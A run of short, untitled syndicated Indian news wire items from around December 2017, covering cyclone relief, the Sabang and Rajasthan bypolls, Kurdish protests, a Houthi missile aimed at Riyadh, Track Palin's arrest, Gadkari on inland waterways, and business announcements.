Lakshadweep MP Mohammad Faizal said the administration has sought an immediate aid of Rs 150 crore for rebuilding the basic infrastructure damaged in the devastating cyclone.

The MP said Modi has assured all central assistance to the island.

Though there was no loss of life or injuries, roughly 1000 houses had been damaged in the island territory, the majority of which are in Minicoy, an official said.

At Kanyakumari in Tamil Nadu, the prime minister held a high-level meeting in which Chief Minister K Palaniswami presented a memorandum seeking Rs 9,302 crore central aid.

Palaniswami later told reporters that his government sought Rs 5,255 crore assistance towards implementing permanent rehabilitation measures in Kanyakumari and another Rs 4,047 crore to cater to other parts of the state, including state capital Chennai, affected by the north east monsoon.

At Poonthura, which bore the brunt of the cyclone, the prime minister gave a patient hearing to weeping women, children and men, who lost their kin and livelihood in the cyclone.

"The whole country is with you in this time of sorrow. We will do everything to search for the missing fishermen," Modi said.

"...We pray to God that before Christmas, all the missing persons return," the prime minister added.

Modi later took part in a high-level meeting, in which Kerala chief minister Pinarayi Vijayan sought a special central assistance of Rs 7,340 crore for rehabilitation and rebuilding of cyclone affected coastal villages.

This package is beside the Rs 422 crore sought by the state under the Disaster Relief Fund.

The prime minister assured the state government that the package would be considered sympathetically, an official release said later.
A police chowkidar was today killed after a vehicle hit his bicycle when he was on his way to duty in Munshiganj police station area.

The deceased, Rambali Saroj (45), a resident of Gurudattganj, was posted as a chowkidar at Munshiganj police station. He died on the spot in a road mishap on his way to the police station, police said today.

According to Munshiganj SHO VK Mishra, some vehicle hit Rambali's bicycle near Shahgarh crossing on Amethi- Musafirkhana road. The vehicle fled the scene after the accident, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Campaigning for the by-election to Sabang assembly constituency, which will be an acid test for both ruling Trinamool Congress and opposition BJP, came to an end at 5 pm today.

TMC in its campaign tried to woo the voters to wrest the seat regarded as a Congress stronghold, while for the BJP the result will be an indicator whether the party is able to make inroads and its victory in the just-concluded Gujarat assembly electgion will have any impact here.

TMC has fielded Gita Rani Bhunia, wife of former Congress leader Manas Bhunia who had defected to the Mamata Banerjee-led party earlier this year necessitating the by-election.

Bhunia had won the seat in last year's assembly poll in the state.

The BJP has nominated Antara Bhattacharya while the Congress has fielded Chiranjib Bhowmick, a local leader. The CPI(M)'s Rita Mandal will contest the seat as a Left Front candidate.

The Congress had fought the 2016 assembly polls in the state in alliance with the CPI(M)-led Left Front and Bhunia had secured 59.70 per cent votes. The TMC had then bagged 36 per cent votes.

The BJP candidate had polled only 2.6 per cent votes in the 2016 assembly poll.

Altogether 8 companies of central paramilitary forces have been deployed for the Sabang bypoll.

Asked about the opposition' demand for deployment of more paramilitary forces, an Election Commission official here said, "The Commission is looking into their demands but nothing has been decided so far. Eight companies have already been deployed," he said.

Political analysts feel that TMC will have an advantage with Congress and the Left fighting the by-poll separately.

A large section of the CPIM's district leaders feel that an alliance with Congress like in the last assembly election, would have helped both the parties.

Although dubbed as a "betrayer" by his former party Congress, Bhunia expressed confidence and said TMC will win the by-poll.

State Congress president Adhir Ranjan Chowdhury has alleged that Bhunia has betrayed the Congress and the people of Sabang for his personal gains.

"The people will give him a befitting reply", he said.

Bhunia said, "The people of Sabang constituency know what I have done for them during my tenure as an MLA. The TMC will win by a big margin."



Notwithstanding defection of many party leaders to the TMC in the last one year, the Congress is hopeful of retaining the seat.

The Congress in its campaign had shown a video where Bhunia is seen attacking the TMC regime and West Bengal Chief Minister Mamata Banerjee before the last year's assembly election for alleged misrule.

The BJP, which has been making inroads into the state, is also leaving no stone unturned to increase its vote share.

"We will win Sabang seat this time. The people of this constituency have seen the double standards of Manas Bhunia and they no longer trust him," state BJP president Dilip Ghosh claimed.

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Protesters in Iraqi Kurdistan today torched offices of the main political parties and security services as anger at the authorities boiled over in the wake of a failed independence push.

Furious demonstrators set fire to buildings in the Piramagrun area of Sulaimaniyah province as they demanded the resignation of the autonomous region's leadership, an opposition party official said.

Abdel Razak Sharif, a leader of the Goran party, told AFP there were no casualties.

Elsewhere, several thousand angry people across the region took to the streets, including in the major city of Sulaimaniyah and some parts of Arbil province.

Haval Abu Bakr, the Goran governor of Sulaimaniyah province, told reporters he backed civil movements but "we oppose any confrontation".

He urged the security forces not to get involved in the clashes and asked that the protesters "demonstrate peacefully".

Tensions have soared in Iraqi Kurdistan over the calamitous fallout from an independence referendum in September that was opposed by the central government in Baghdad.

In the wake of the overwhelming "yes" vote -- pushed through by veteran regional leader Massud Barzani despite international condemnation -- federal forces retook swathes of disputed territory from the Kurds.

The loss of the oil-rich areas dealt a body blow to Kurdish coffers, pushing the region into dire financial straits and dashing long-held dreams of becoming a viable state.

Firms have closed and there has been an uptick in unemployment since the vote as the economic beating by Baghdad has taken its toll.

Protesters -- including many civil servants -- shouted "Down with the thieves", "Death to Barzani" and "Down with the government that lost the disputed regions".

Police in Sulaimaniyah -- a stronghold for a faction opposed to Barzani -- fired tear gas to keep demonstrators away from the offices of political parties.

Regional president Barzani announced he was stepping down in late October after the independence vote backfired spectacularly.

Legislative and presidential elections in the region due on November 1 were postponed because of the turmoil.

Prime minister Nechirvan Barzani, the ex-president's nephew, has pledged to hold the polls over the next three months.

The dispute over the referendum saw deep rifts within Iraqi Kurdistan burst into the open.

The main party opposed to the Barzanis rejected the independence vote and its forces struck a deal with Iraqi troops to let them retake key chunks of territory without a fight.

In a sign that the region's isolation after the vote is easing, Iran today reopened all its border crossings with Iraqi Kurdistan.

Iran, which along with Turkey opposed the referendum over fears it could spur their own Kurdish communities, closed the border crossings after the vote.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
US-based sandwich restaurant chain Potbelly Corporation today signed a franchise agreement with Kwal's Group to open 20 outlets in India by 2022.

The company today opened its first outlet in cyber hub, Gurugram.

The restaurant specialises in sandwiches, salads, soups, shakes, malts, smoothies and plans to break-even within a year.

"We have plans to open 20 outlets in the next five years with an investment of Rs 1 crore per outlet," Kwal's Group Managing Director Sameer Lamba told PTI.

Potbelly Corporation is a neighbourhood sandwich concept serving for more than 40 years.

Lamba said the reason to enter India was its high population of millennials and food enthusiasts.

Kwal's Group has shortlisted various locations in different cities so as to open 5 outlets by the end of 2018.

"The group has set a target of reaching a turnover of around 20 crores by 2020," he said.

The group is a premium food service company involved in operating and managing food courts for office complexes and malls. It currently has 26 food courts and over 50 signed food courts due to open in a span of 6-8 months.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Punjab Power Minister Rana Gurjeet Singh today accepted the major demands, including power tariff at the cost of Rs 5 per unit, put forth by industrial organisations of the state.

He had convened a meeting here to discuss the industrial power tariff issues.

The Punjab government has accepted the three main demands -- retrospective implementation of increased tariff, two-part tariff system and power tariff at the cost of Rs 5 per unit during this meeting, an official spokesman of the power department said.

Regarding retrospective implementation of increased tariff, he said that the financial implication of the hiked tariff from April to October would be about Rs 600 crore.

"Out of this, the government will bear the increased tariff to the tune of Rs 300 crore and rest will be borne by the industry," the spokesman said.

He said that the two-part tariff of the Punjab State Electricity Regulatory Commission (PSERC) would be applicable from January 1.

However, the maximum overall rate (MOR) will be fixed for medium supply (MS) and large supply (LS) category industry from the January 1 to March 31, the spokesman said.

This will be Rs 6.57 per unit for MS and Rs 6.89 per unit for LS as fixed by the PSERC for 2017-18. In this case, the minimum monthly charge as determined by the PSERC shall be applicable, he said.

On the demand of power tariff at the cost of Rs 5 per unit as per the Congress' poll manifesto, the spokesman said that the rate for the industry would be Rs 5 per KVAH for 2017-18 as variable cost with no change in fixed cost.

"This will have an impact of Rs 1,100 to 1,150 crore per year and will be effective from January 1. It will be applicable to MS and LS category Industry only," he said.

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The Railways Ministry has reduced the size of global tender for rail tracks to 4.87 lakh tonne from 7 lakh tonnes (LT) earlier, an official source said.

State-run Steel Authority of India Ltd (SAIL), which has been the sole supplier of rails to the Railways so far, will supply the remaining quantity.

The railways ministry had recently floated the global tender to procure 7 lakh tonnes of rails worth Rs 3,500 crore for expediting track renewal.

"The tender has been reduced to 4.87 LT," a railway ministry official told PTI.

SAIL has stepped up its production and increased supplies, the official said.

M C Agrawal, Executive Director, Corporate Affairs Division, SAIL, said, "Our rail mill in Bhilai is producing rail in full swing and we will increase production. Hence, the supply will also improve."



Under an MoU, SAIL is the only steel maker which had been supplying rails to the Railways. It manufactures 260-metre long rails at its Bhilai Steel Plant (BSP) in Chhattisgarh.

With the global tender, the Railways has now invited private players and international companies to supply rail tracks.

Naveen Jindal-led Jindal Steel and Power Ltd (JSPL) is the only domestic private player that has the experience in rail making and it has confirmed its interest in the tender.

"We are fully prepared and well equipped. We can make early deliveries compared to any other player. If we bag the tender today, we can start making deliveries in just three weeks. It would take much longer for a foreign firm to start making deliveries. JSPL has a capacity to supply over 50,000 mt rail per month." Naushad Ansari, CEO Steel Business, JSPL, had said earlier.

JSPL has a plant at Raigarh with a capacity to produce 1 million tonnes of rails.

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The BJP and the Congress are focusing on booth level as they prepare for another face-off in Rajasthan bypolls, the dates of which are yet to be announced, exuding confidence that they will win the two Lok Sabha and one assembly seat up for grabs.

Ajmer and Alwar Lok Sabha seats and Mandalgarh assembly seat in Bhilwara district are facing bypolls due to the passing away of Ajmer MP Sanwar Lal Jat, Alwar MP Mahand Chand Nath and Mandalgarh MLA Kirti Kumari (all from the BJP).

The political activities are set to gain momentum after the announcement of Gujarat and Himachal Pradesh assembly election results yesterday.

The BJP fought off a strong challenge from Rahul Gandhi- led Congress to win the Gujarat assembly polls for the sixth straight time, and also wrested power from the Congress in Himachal Pradesh with a close to two-thirds majority..

Both the political arch-rivals are focusing on booth level to reach out to the masses ahead of the upcoming bypolls in Rajasthan.

State BJP president Ashok Parnami said that the party will again "taste victory" in the by-elections and retain all the three seats while the Congress is also confident of winning the bypolls.

"Our preparations are already completed. The election results in Gujarat and Himachal Pradesh will sure have positive impact in the by-elections and we will be retaining the seats," Parnami told PTI.

He said that Chief Minister Vasundhara Raje has already visited the constituencies and addressed the public, noting that "the feedback is in the favour of the party.".

"The names of the candidates will be declared after the announcement of the election programme. Our members are already doing their work at the booth level," he said.

Social justice and empowerment minister Arun Chaturvedi said that Prime Minister Narendra Modi's development agenda will continue and will also deliver good results in Rajasthan as well.

PCC President Sachin Pilot said that the party has launched a programme "Mera Booth Mera Gaurav" in Ajmer and Alwar for booth management and this will be later introduced all other constituencies in the state.

"Everyone has been asked to make a team and work at the booth level. We want to touch people at the last mile. The party machinery is ready to take on BJP therefore we are focusing on booth level," Pilot said.

"As per the response and feedback we are receiving in campaign, I feel that the Congress will win all the three seats," he said.

He said that not only government employees, farmers and youths, BJP workers are also unhappy with the functioning of the chief minister.

BJP had won all the 25 Lok Sabha constituencies in the 2014 General Elections.

In Ajmer, Sanwar Lal Jat had defeated Sachin Pilot with a margin of 1,71,983 votes. He suffered a cardiac attack during a party meeting in Jaipur which was being addressed by BJP President Amit Shah in July this year. Jat breathed his last on August 9.

Alwar MP Nath died in September after prolonged illness. He had defeated Congress candidate and former union minister Bhanwar Jitendra Singh.

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Three people including a child were killed in rebel shelling of the eastern sector of the Syrian capital Damascus, the official SANA agency reported.

"Armed groups in Eastern Ghouta fired three mortar shells at the residential district of Zablatani, killing three people, including a child, and wounding five civilians," SANA reported, citing a police official.

The agency said rebel fighters were to blame for the "violations" of an agreement to de-escalate Eastern Ghouta.

The rebel enclave, which has been under siege since 2013, is one of four so-called "de-escalation zones" across Syria agreed earlier this year by regime allies Russia and Iran and rebel backer Turkey.

But in recent weeks violence has increased considerably, with government air strikes and artillery fire across the region, and rebel fire from the area into Damascus.

The enclave east of the Syrian capital is home to around 400,000 people and humanitarian organisations have voiced fears conditions could yet get worse.

The Syrian Observatory for Human Rights, a Britain-based war monitor, says 211 civilians, including 49 children, have been killed in the strikes on Eastern Ghouta since mid- November.

Over the same period of time, 37 people have been killed by rebel fire on other parts of the capital.

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Road, Transport and Highways Minister on Tuesday said road construction would further gather momentum with the average addition of 40 km per day from next year.

"When we (government) took over, the average road construction was 2 km per day which has now been accelerated to 28 km per day. It will further go up to 40 km per day next year," he said while replying to debate on the Bill to amend Central Road Fund (CRF) Act 2000.

The Act regulates the CRF, that is credited with the cess collected on diesel and petrol. The amount collected is then released to National Highways Authority of India, and to the state/union territory for the development of national and state highways.

The amendment bill passed by the Lok Sabha today seeks to allocate a share of this cess towards the development of inland waterways.

Emphasising that there is huge requirement of funds for infrastructure development, Gadkari said the government intends to develop 12-15 inland waterways in the next two years with the help and support of all stakeholders.

Twelve major ports with combined profit of Rs 7,000 crore have been asked to invest a portion of their profit for development of waterways.

Talking about various initiatives taken by the government to develop inland waterways in the country, he said, "Our first priority is waterways, second railways and third roads."



Work has already started on 10 waterways and tenders have been issued, he said, adding these would be operational by the end of 2018.

Terming waterways as the cheapest mode of transportation, he said there are 111 national waterways in the country which can be used for the purpose.

Like airports, the country would soon be dotted with sea ports, he said.

"If you have to go to Patna then next time...you will not have to go to airport. Your aircraft will fly from Yamuna front and will stop at the river in Patna...such a revolutionary change is there in this," he said, adding, many years ago the trade used to happen on the river but slowly it stopped.

He announced that Mumbai to Goa cruise would start from next month and there is also plan to start cruise from Mumbai to Andaman and Nicobar.

On the Rs 60,000 crore Polavaram project of Andhra Pradesh, the minister promised that this will be completed by 2019.

It is resolve of the government to end all inter-state water dispute in its tenure itself by making available enough water to all states, he added.

Participating in the debate, Rajiv Pratap Rudy of the BJP said that through this bill tourism will be developed.

Saugata Roy (TMC) said Gadkari is a salesman of dreams.

"Gadkariji should present a white paper in the House as to which are the road ... been built. He is showing dreams to people. In India the condition of highways is not good."



The minister in his reply said he does not indulge in selling dreams but make efforts towards converting dreams into reality.

The present bill seeks to allocate two and a half per cent of the CRF generated to accelerate the development and maintenance of national waterways by reduction of an equal percentage from the share of national highways.

This would tentatively generate about Rs 2,300 crore revenue for national waterways.

"This has paved the way for better regulation and development of the national waterways in the country. However, infrastructure such as jetties, terminals, navigational channels, etc. for better shipping and commercial navigation continues to be a challenge," Gadkari said.

In order to suitably develop national waterways, sustainable source of funding is highly necessary as budgetary support and funds from multilateral institutions are inadequate, he said.

Other members who participated in the debate included Kushlendra Kumar (JDU), Rajesh Rajan (RJD), Idrish Ali (TMC) and Varaprasad Rao (YSRC).
Iran's President Hassan Rouhani today called on people to speak out to defend their rights, as he took aim at the country's powerful security apparatus.

"The people are right, not the government," the moderate cleric said, in a speech marking one year since he launched an Iranian bill of rights.

"We must work to make the rights of citizens a culture," Rouhani said, urging the youth and social media users to air their grievances if rights are not "implemented".

Rouhani's landmark bill of rights is meant to guarantee freedom of speech, protest, fair trials and privacy.

But reformist media have been critical of him for failing to deliver greater social freedoms.

Many institutions in the Islamic republic, including the judiciary and the Revolutionary Guards, remain firmly in the grip of hardliners and do not answer to the president.

Turning his sights on the security establishment, he called on them to "reduce interference" in people's lives and "let them mind their business".

"People want the government to leave them alone," he said.

Rouhani - elected for a second term in May on the back of support from younger voters - has opposed tough controls on the internet that see websites like Twitter and Facebook blocked.

He himself has recently faced public criticism over the national budget for next year that he presented to parliament last week.

But he insisted he welcomed the sniping and called for greater transparency.

Appealing to his base, he also blasted intrusive background checks on students by security officials and a practice that has seen some banned from continuing their studies.

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An RSS worker was attacked by some unidentified persons at Kathirur in Kannur district tonight, police said.

The incident took place around 7.15 pm, they said.

Praveen, who was travelling on his motorcycle, was returning home when he was waylaid and assaulted by some persons.

He suffered injuries on his left hand, right eye and back of his head, police said, adding, he has been admitted to the Kozhikode medical college hospital.

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Goa-based Sanatan Sanstha has received a letter threatening to kill its founder Jayant Athavale, prompting the right-wing organisation to lodge a police complaint today.

According to Sanstha spokesperson Chetan Rajhans, the letter also mentioned that women inmates of the ashram, located at Ramnathi near Ponda town, around 40 kms from here, will be assaulted.

The single-page letter, typed in English, has been sent from Bengaluru.

"The letter which claims to be written by one Jamesh Annamalai was received at 10.30 AM today through post," Rajhans told PTI.

The letter, addressed to Rajhans, threatens to eliminate Athavale, who lives in the ashram, as well as the women inmates.

Sanstha's Managing Trustee Virendra Marathe lodged a complaint against the sender of the letter with Ponda police station this evening.

The Ponda Police have confirmed receipt of the complaint.

"We have received the application seeking registration of an offence. We will investigate the matter," Ponda Police Inspector Harish Madkaikar said.

The Sanstha has been under scanner in connection with the killing of Maharashtra rationalist Narendra Dabholkar.

The CBI had arrested Sanstha member Virendra Tawde from Maharashtra in the Dabholkar murder case last year.

The Maharashtra Police had also questioned Tawde in connection with the 2015 killing of CPI leader and rationalist Govind Pansare.

While Dabholkar, a noted anti-superstition activist, was shot dead in Pune on August 20, 2013, Pansare, known for his rationalist views, was killed in a similar way in Kolhapur on February 20, 2015. His wife too was injured in the attack.

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Sarah Palin's oldest son, Track, has been arraigned on charges that he assaulted his father at the family's home in Alaska.

Police were called to the home Saturday night, after Sarah Palin, the former Alaska governor and 2008 Republican vice presidential nominee, told police her son was "freaking out" and on some type of medication, according to an affidavit by Wasilla Police Officer Adam LaPointe.

The affidavit states that Todd Palin was bleeding from cuts on his head. He told police the dispute began when Track Palin, 28, called to retrieve his truck.

Todd Palin said he told Track Palin not to come but that his son said he would come anyway to beat him up. Todd Palin told police he got his pistol "to protect his family."



Track Palin told police he broke a window, disarmed his father and put him on the ground.

LaPointe wrote that Todd Palin and Sarah Palin had left the home when police arrived and that Sarah Palin was visibly upset.

Track Palin yelled at officers, calling them peasants, and "moved around in a strange manner" before being arrested without incident, the affidavit states.

Track Palin told police he "consumed a few beers earlier," the affidavit states.

Track Palin was arraigned Sunday on domestic violence- related charges of burglary and assault. Court records did not immediately list an attorney for him. He is scheduled for a preliminary hearing next week.

This is the second time in two years that Track Palin has been arrested in a domestic violence case.

In 2016, Palin was suspected of punching his girlfriend, who then became concerned that he was going to shoot himself with a rifle, court documents said.

He faced several charges but pleaded guilty to possessing a firearm while intoxicated and the other charges were dismissed.

His then-girlfriend later filed for custody of their child, and in January she requested a protective order against Track Palin.

Attorney John Tiemessen, who said he represents Sarah Palin, acknowledged the arrest Sunday.

"Given the nature of actions addressed last night by law enforcement and the charges involved, the Palins are unable to comment further," Tiemessen said. "They ask that the family's privacy is respected during this challenging situation just as others dealing with a struggling family member would also request."



Track Palin served in Iraq for a year in 2008. Sarah Palin indicated when her son was first accused of domestic violence in 2016 that post-traumatic stress disorder might have been a factor.

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Saudi Arabia intercepted a Yemeni rebel missile over Riyadh today, state media said, as the rebels said the target was Yamamah palace, the official residence of King Salman.

An AFP correspondent heard a loud explosion at 1050 GMT, shortly before the scheduled unveiling of the Saudi budget, which is usually announced from the Yamamah palace by the king.

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Saudi Arabia said it intercepted a missile today over Riyadh fired by Iran-backed Huthi rebels in Yemen who announced that the target was the official residence of King Salman.

Saudi Arabia and the United States have accused Iran of supplying weapons to the insurgents, and Riyadh described the latest missile as "Iranian-Huthi".

An AFP correspondent heard a loud explosion at 1050 GMT, shortly before the scheduled unveiling of the Saudi budget, which is usually announced by the king from the Yamamah palace, his official residence.

"Coalition forces confirm intercepting an Iranian-Huthi missile," the Center for International Communication, an arm of the Saudi information ministry, said on Twitter.

"There are no reported casualties at this time," it added.

It was the second missile fired by the Huthis -- who seized the Yemeni capital in 2014 -- at Riyadh in the past two months.

The attacks, which could further escalate a military campaign by a Saudi-led coalition against the rebels, underscore how the raging Yemen conflict is increasingly spilling across the border.

The first attack, which targeted Riyadh international airport on November 4, triggered the tightening of a long- standing Saudi-led blockade of Yemen -- already on the verge of famine.

Saudi Arabia angrily accused its arch foe Iran of supplying the missile to the rebels, a charge Tehran strongly denied.

On Thursday, US ambassador to the United Nations Nikki Haley presented what she called "undeniable" evidence that last month's missile was "made in Iran".

But her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.

The coalition, which accuses the rebels of being a proxy for Iran, says the blockade is needed to stop the flow of arms to the Huthis from Tehran.

Residents in the Saudi capital reported hearing a loud explosion and seeing smoke after Tuesday's attack.

"I was in my office when I heard a big bang," said Tomas Kompikan, one of the many foreign workers in Riyadh.

"Suddenly after around 30 to 45 seconds I heard a next sound... and we saw a white smoke."



The Huthi rebels last month warned that they considered "airports, ports, border crossings and areas of any importance" in Saudi Arabia, as well as its ally the United Arab Emirates, as legitimate targets.

More than 8,750 people have been killed since Saudi Arabia and its allies joined the government's fight against the Huthis in 2015, triggering what the UN has called the world's worst humanitarian crisis.

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The Orissa High Court today granted bail to Prashant Dash, CMD of Seashore Group of Companies, in three chit fund related cases.

The bench of Justice C R Dash granted conditional bail to Prashant in the cases registered in Jajpur, Nawarangpur and Titlagarh police stations. He was earlier granted bail in three cases registered in Koraput and one in Ganjam.

The CBI had arrested him in December, 2013, from Mumbai for allegedly duping investors, who had invested Rs 500 crore in his companies, expecting heavy returns. Prashant is at present lodged in a Bhubaneswar jail.

The high court had in May and August this year granted him bail in four other similar cases.

After getting bail in three cases today, Prashant has now been granted bail in all the seven chit fund cases registered against him in different police stations of the state.

He is likely to walk free from jail soon, informed his counsel Sushant Tripathy.

Prashant's younger brother Pravat, who was also one of the directors of the tainted company and arrested by the CBI in the chit fund cases, is now out of jail after being granted bail by the Supreme Court earlier this year.

Similarly, realtor Subhankar Nayak, also arrested by the CBI for allegedly being in close nexus with the directors of Seashore Group of Companies and several government officials, was granted bail by the HC in August this year.

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The Shiv Sena today launched a stinging attack on its ally BJP, saying "the much-touted Gujarat model has shaken" and the poll outcome in the state was a "warning bell" to those who believe in an autocratic rule.

The Sena said Congress president Rahul Gandhi and Patidar leader Hardik Patel had been ridiculed as "monkeys" but "these 'monkeys' have slapped the 'lion'".

The Sena attack on the BJP came in an editorial in its mouthpiece 'Saamana', a day after the BJP retained power in Gujarat with a reduced tally of 99 seats against 115 last time.

The Congress increased its tally from 61 seats last time to 77 this time.

The Sena said the BJP had "barely managed to pass" the electoral exam but was pretending to have passed with distinction.

The BJP won Gujarat and Himachal, but the Congress also did not lose, the editorial said.

"The dream of a 'Congress-Mukt Bharat' (Congress-free India) remained unfulfilled," the Shiv Sena said.

This election result in Gujarat is a "warning bell for those who believe in an autocratic rule", the Sena said.

"The BJP may have won the election but the discussion is about the strides Rahul Gandhi has taken. It was said that we (BJP) won't get a single seat less than 150 in Gujarat, but it proved to be a tough task even to reach the 100 mark," said the editorial.

The party asked the BJP to pay heed to the "sterling performance" of Rahul Gandhi and Hardik Patel in Gujarat.

While the people of Gujarat stood behind Modi in 99 constituencies, the "Rahul Gandhi-Hardik Patel duo" emerged victorious in 77 seats, it said.

"Even Prime Minister Narendra Modi had to play the Gujarati pride card (to win these elections)," it said.

The Sena said there were some who ridiculed Rahul Gandhi and Hardik Patel as "monkeys" compared to the BJP leadership. "These monkeys have slapped the lion and sounded the danger alarm," it added.

"Those who indulged in this ridicule now have to pretend that they have passed with distinction, despite barely managing to pass (the poll exam)," the Sena said.

"The much-touted Gujarat model (of development) is shaken. We only wish that in (the) 2019 (elections) it does not collapse," it said.

On the BJP workers rejoicing yesterday, the Shiv Sena wondered whether the party has scored "such a scintillating victory" that it was worthy of being celebrated with dancing.

"To summarise, one can say that the 'wind' has not changed direction (but) it has certainly slowed down. The (once) high tide has now subsided," it said.

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The Sikh community in Pakistan's Hangu district in northwestern province of Khyber-Pakhtunkhwa have alleged that they were being forced to convert to Islam by a government official, according to a media report.

The Sikh community members have lodged a complaint with the Deputy Commissioner Hangu Shahid Mehmood, the Express Tribune reported.

According to the Pakistan's National Database and Registration Authority, there are around 6,000 Sikhs in the country, living in Khyber-Pakhtunkhwa, Federally Administered Tribal Areas (FATA), Sindh, Balochistan, Nankana Sahib, Lahore and other districts of Punjab.

In his complaint, Farid Chand Singh said that the community members had been living in the area since 1901 and were never offended by anyone, specially over religious beliefs.

"They rather lived all their lives peacefully with Muslims, despite having been a hotbed for sectarian conflicts, residents of Hangu district never harmed us," he was quoted as saying in the report.

They were never approached by someone to convert to Islam, they have friendly relations with Muslims who have always stood up for the community when in need, Singh added.

"Had it been from someone ordinary, it would have never been felt so offending but when you hear such things from a government official, it becomes something really serious," Singh told The Express Tribune.

"We, the residents of Doaba area, are being tortured religiously," he alleged in his complaint.

The Khyber-Pakhtunkhwa province is in the northwestern region of the country along Pakistan's international border with Afghanistan. It was previously known as the North-West Frontier Province (NWFP).

Deputy Commissioner Hangu Shahid Mehmood said that the Sikh community members got offended during a conversation with the assistant commissioner, which the latter never really meant.

There was no such issue of converting someone forcefully to Islam, rather administration ensured religious freedom, he clarified said.

Concerned by the report, Punjab Chief Minister Amarinder Singh today urged External Affairs Minister Sushma Swaraj to take up with Pakistani authorities the issue of alleged forced conversion of Sikhs to Islam.

"Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. Its our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels," he tweeted.

In response, Swaraj said that the matter would be taken at the highest level in Pakistan government.

"We will take this up at the highest level with Government of Pakistan. @IndiainPakistan Sikh community in Hangu being forced to convert," she tweeted.

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Decks have been cleared for special trains to take devotees for the 350th birth anniversary celebrations of 10th Master of the Sikhs, Guru Gobind Singh, from Punjab to Patna Sahib and back.

The Punjab government had sought permission from the Indian Railways to run special trains from Amritsar, Bathinda and Patiala to Patna Sahib following Chief Minister Amarinder Singh's directives.

The Railways has given permission to the state to run the trains to Patna on December 22 and back on December 27, an official spokesperson said here.

The formal permission from the Indian Railway Catering and Tourism Corporation (IRCTC) was received by the state transport commissioner (STC), the spokesperson said.

The trains from Amritsar, Bathinda and Patiala will leave on December 22 and reach Patna Sahib the next day.

The train from the Amritsar Railway Station will leave at 9:45 am and reach Patna Sahib at 11:45 am, the one from Patiala will leave at 9:30 am and reach at 11:00 am and the third special train from Bathinda would depart at 9:00 am and reach at 11:00 am on December 23.

These special trains would start from Patna Sahib on December 26 and return to their respective destinations on December 27.

Nearly 1,500 devotees are expected to travel in each of these trains. Government officials and a team of doctors will be available onboard the trains, the spokesperson said.

The decision to run these special trains from Punjab to Patna Sahib was taken at a specially convened meeting under the chairmanship of Singh on Monday.

The arrangements for the celebration of the 350th Parkash Purb of Sikh Guru Sri Guru Gobind Singh at Anandpur Sahib on December 24 were also reviewed at the meeting.

The spokesperson said that adequate arrangements are being made in Patna to take devotees from the railway station to Sri Patna Sahib on arrival, and back for their departure.

Arrangements for their accommodation are also being overseen by the advance party dispatched by the Punjab government to Patna, spokesperson said.

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The stalemate over the "conspiracy with Pakistan" charge by Prime Minister Narendra Modi against his predecessor Manmohan Singh seemed to be ending today in the Rajya Sabha as the opposition and the ruling party decided to form a panel after agreeing to the Chair's suggestion for an amicable solution.

As the Congress insisted on Modi coming to the House to clarify the statement he made during poll campaign in Gujarat and its members raised slogans and sought an apology, Chairman M Venkaiah Naidu urged the opposition and the government to talk and resolve the stalemate over the prime minister's comments on his predecessor.

Raising the issue, Leader of Opposition Ghulam Nabi Azad said the prime minister should come to the House and clarify on what he said, as his charges that his predecessor was "conspiring" with Pakistan was "a big issue."



Azad said allegations are levelled during elections but some are not good for democracy, and the country. "Such allegations are deadly for those against whom they are made," he said, adding that Manmohan Singh's integrity and loyalty to the country has been questioned.

"Is he the person who is conspiring against the Indian state? Is the former prime minister, former vice president not loyal to the country? These allegations are made by no less than the prime minister.

"The prime minister of India should come to the House and explain his remarks and if the former prime minister and others are proved wrong, then action should be taken against them," he told the House amid vociferous protests by Congress members who sought an apology from Modi.

Naidu said he had held an "informal meeting" this morning "my suggestion was it is not good for the country to see that the House is not running properly.

"I myself suggested, leaders of different parties were there. ... to Parliamentary Affairs Minister to speak to Leader of House Arun Jaitley, the Leader of Opposition and other seniors also and then find a way out to end this impasse, which is in the interest of the country," Naidu said.

He also said that for democracy and parliamentary system to function, both sides should come to an understanding and move forward. "All things can be internally discussed and seen that the House functions properly and dignity of Parliament should be maintained," he said.

Agreeing to the suggestion, Azad said, "Let the meeting be held under chairmanship of Leader of the House with all leaders of other opposition parties."



He said it was not a question of Congress party, as other opposition party leaders are equally concerned. "It is a matter of privilege. It should also be to the satisfaction of Manmohan Singh," he said.

Jaitley said "we will try and explore a solution out of that. I will certainly have the privilege to invite leaders of all my colleagues including LoP and we will try and discuss and find solution for this. We will try and do it today" and suggested the formation of a committee for the purpose.

Earlier, the chairman said Manmohan Singh had met him and expressed his concern, his feelings to him.

"I have talked to him and have understood what he meant. I have also received a note of what exactly what he said and also what the prime minister was sad by others, calling of names," he said, adding that the prime minister is the prime minister of the country and that has to be kept in mind by everybody.

Deputy leader of Congress Anand Sharma said "We want the House to function and the dignity is also maintained. It is the PM's responsibility.

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Wind turbine maker Suzlon has bagged a 252 MW contract from a global firm as a part of Solar Energy Corporation of India (SECI) II bid in Gujarat.

Under the contract, the company will install 120 units of 2.1 MW of S111 120m in Gujarat, it said in a statement issued here.

With this order, Suzlon has secured combined orders of 502 MW across SECI-I and SECI-II auctions, the company said. *************** Kumari Builders to invest Rs 500 cr in 2 projects in Bengaluru rpt Bengaluru *



Bengaluru-based real estate player Kumari Builders and Developers plans to invest Rs 500 crore to develop two villa projects in the city, marking its foray into the segment.

Spread across 50 acre, the project in Malur will offer 750 homes, while the 12 acre project on Sarjapur Road includes 192 villas, the company said in a statement issued here.

"Over the past four years, we have delivered 2.5 lakh sq feet of residential projects. We now want to develop luxury villas," company's Director Ashok Naidu said, adding, "we will invest Rs 500 crore for this development." ********************* Sobha,Puravankara to develop luxury proj 'Marina One' in Kochi *



Realty players Sobha and Puravankara today said they have, in co-ownership, launched Marina One, among Kerala's largest super luxury waterfront homes in Kochi.

The project, which has a waterfront of 497 metre, offers 1,141 homes in total in 3BHK+study and 4BHK, ranging from 2296 sq feet to 3710 sq feet of super built up area, the company said in a statement issued here.

"Kochi is also among the fastest growing tier II cities in the country with a major thrust on the real estate, making it a profitable investment option for Indians and NRIs," Sobha Chairman Ravi Menon said.

